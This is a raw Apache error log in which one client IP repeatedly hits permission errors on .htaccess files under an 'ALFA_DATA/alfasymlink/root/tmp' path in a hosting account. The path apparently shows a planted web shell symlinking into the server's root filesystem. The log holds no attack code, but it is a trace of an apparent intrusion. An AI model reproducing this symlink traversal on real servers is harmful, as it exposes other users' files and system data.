[Tue Oct 27 14:23:50.060761 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_caOxgALx2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_caOxgALx2/' is executable
[Tue Oct 27 14:23:50.060790 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pN3AQhlNgj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pN3AQhlNgj/' is executable
[Tue Oct 27 14:23:50.060803 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PsRo7Bsa_S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PsRo7Bsa_S/' is executable
[Tue Oct 27 14:23:50.060817 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/' is executable
[Tue Oct 27 14:23:50.060836 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/OwP99dXZ_b/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/OwP99dXZ_b/' is executable
[Tue Oct 27 14:23:50.060852 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/H3T3qe0a6L/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/H3T3qe0a6L/' is executable
[Tue Oct 27 14:23:50.060885 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/BQ13T2xrrG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/BQ13T2xrrG/' is executable
[Tue Oct 27 14:23:50.060905 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XZqhtmoMNN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XZqhtmoMNN/' is executable
[Tue Oct 27 14:23:50.060919 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xCPByHeGOe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xCPByHeGOe/' is executable
[Tue Oct 27 14:23:50.060931 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/m5eQaqt7WO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/m5eQaqt7WO/' is executable
[Tue Oct 27 14:23:50.060950 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cHkKHvtb84/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cHkKHvtb84/' is executable
[Tue Oct 27 14:23:50.060982 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/' is executable
[Tue Oct 27 14:23:50.061001 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lpa8ZwaWTY/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lpa8ZwaWTY/' is executable
[Tue Oct 27 14:23:50.061015 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/' is executable
[Tue Oct 27 14:23:50.061028 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Ild61SlCM8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Ild61SlCM8/' is executable
[Tue Oct 27 14:23:50.061040 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oMgCKKTHTN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oMgCKKTHTN/' is executable
[Tue Oct 27 14:23:50.061060 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/zFtYW8EbIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/zFtYW8EbIo/' is executable
[Tue Oct 27 14:23:50.061079 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/U8bmWQiMp6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/U8bmWQiMp6/' is executable
[Tue Oct 27 14:23:50.061093 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Iq7IAhBBCA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Iq7IAhBBCA/' is executable
[Tue Oct 27 14:23:50.061119 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-Tpwj5v/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-Tpwj5v/' is executable
[Tue Oct 27 14:23:50.061145 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/b3IROGlFVp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/b3IROGlFVp/' is executable
[Tue Oct 27 14:23:50.061159 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3tecYTyNge/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3tecYTyNge/' is executable
[Tue Oct 27 14:23:50.061179 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/GC947gwA7a/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/GC947gwA7a/' is executable
[Tue Oct 27 14:23:50.061241 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/' is executable
[Tue Oct 27 14:23:50.061264 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/IDKGG9qSVX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/IDKGG9qSVX/' is executable
[Tue Oct 27 14:23:50.061302 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yIE1_o1ryC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yIE1_o1ryC/' is executable
[Tue Oct 27 14:23:50.061332 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pSZX5IDLqg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pSZX5IDLqg/' is executable
[Tue Oct 27 14:23:50.061353 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o3jCljYMJM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o3jCljYMJM/' is executable
[Tue Oct 27 14:23:50.061370 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rc35X03xH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rc35X03xH/' is executable
[Tue Oct 27 14:23:50.061390 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_UC3eRcjzH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_UC3eRcjzH/' is executable
[Tue Oct 27 14:23:50.061416 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/' is executable
[Tue Oct 27 14:23:50.061502 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bYpoGDqHwv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bYpoGDqHwv/' is executable
[Tue Oct 27 14:23:50.061520 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WGtLrvNEoO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WGtLrvNEoO/' is executable
[Tue Oct 27 14:23:50.061539 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/KPaWqZiNSx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/KPaWqZiNSx/' is executable
[Tue Oct 27 14:23:50.061554 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/' is executable
[Tue Oct 27 14:23:50.061573 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/0sa9T3ad5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/0sa9T3ad5i/' is executable
[Tue Oct 27 14:23:50.061586 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Bx1XC6ECXC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Bx1XC6ECXC/' is executable
[Tue Oct 27 14:23:50.061598 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/EB_JgHXTS_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/EB_JgHXTS_/' is executable
[Tue Oct 27 14:23:50.061609 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S7yeadvPLt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S7yeadvPLt/' is executable
[Tue Oct 27 14:23:50.061628 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Z33Xr5YNYQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Z33Xr5YNYQ/' is executable
[Tue Oct 27 14:23:50.061659 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9qR6QZfgjM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9qR6QZfgjM/' is executable
[Tue Oct 27 14:23:50.061680 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1f5_lXm747/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1f5_lXm747/' is executable
[Tue Oct 27 14:23:50.061723 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kGbyt5GibL/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kGbyt5GibL/' is executable
[Tue Oct 27 14:23:50.061744 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nvY9ED8VzZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nvY9ED8VzZ/' is executable
[Tue Oct 27 14:23:50.061757 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Re609yu1zD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Re609yu1zD/' is executable
[Tue Oct 27 14:23:50.061782 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6NbtUbNDlC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6NbtUbNDlC/' is executable
[Tue Oct 27 14:23:50.061804 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/UzG84SehML/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/UzG84SehML/' is executable
[Tue Oct 27 14:23:50.061842 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/W8MHf4Zxj7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/W8MHf4Zxj7/' is executable
[Tue Oct 27 14:23:50.061863 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2rVIel3WrA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2rVIel3WrA/' is executable
[Tue Oct 27 14:23:50.061877 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/' is executable
[Tue Oct 27 14:23:50.061896 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cDinXPzzIs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cDinXPzzIs/' is executable
[Tue Oct 27 14:23:50.061925 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/r7NY5hafpJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/r7NY5hafpJ/' is executable
[Tue Oct 27 14:23:50.061939 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Qz4yTy6bRg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Qz4yTy6bRg/' is executable
[Tue Oct 27 14:23:50.061975 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-PGXmnv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-PGXmnv/' is executable
[Tue Oct 27 14:23:50.061992 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fGFl3Hs6F6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fGFl3Hs6F6/' is executable
[Tue Oct 27 14:23:50.062009 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/' is executable
[Tue Oct 27 14:23:50.062054 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/' is executable
[Tue Oct 27 14:23:50.062074 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/A4pXv2TKkc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/A4pXv2TKkc/' is executable
[Tue Oct 27 14:23:50.062093 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/' is executable
[Tue Oct 27 14:23:50.062129 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PbgIeBycdi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PbgIeBycdi/' is executable
[Tue Oct 27 14:23:50.062160 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/uoip5FWHmS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/uoip5FWHmS/' is executable
[Tue Oct 27 14:23:50.062174 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Nisnt6W17S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Nisnt6W17S/' is executable
[Tue Oct 27 14:23:50.062185 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TYWco4I01R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TYWco4I01R/' is executable
[Tue Oct 27 14:23:50.062205 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HsbhoqpxvF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HsbhoqpxvF/' is executable
[Tue Oct 27 14:23:50.062219 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/com.google.Chrome.RuHS4J/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/com.google.Chrome.RuHS4J/' is executable
[Tue Oct 27 14:23:50.062233 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/73W4Upx2xZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/73W4Upx2xZ/' is executable
[Tue Oct 27 14:23:50.062263 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/netAn5lB7R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/netAn5lB7R/' is executable
[Tue Oct 27 14:23:50.062283 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fnSpdRPZXM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fnSpdRPZXM/' is executable
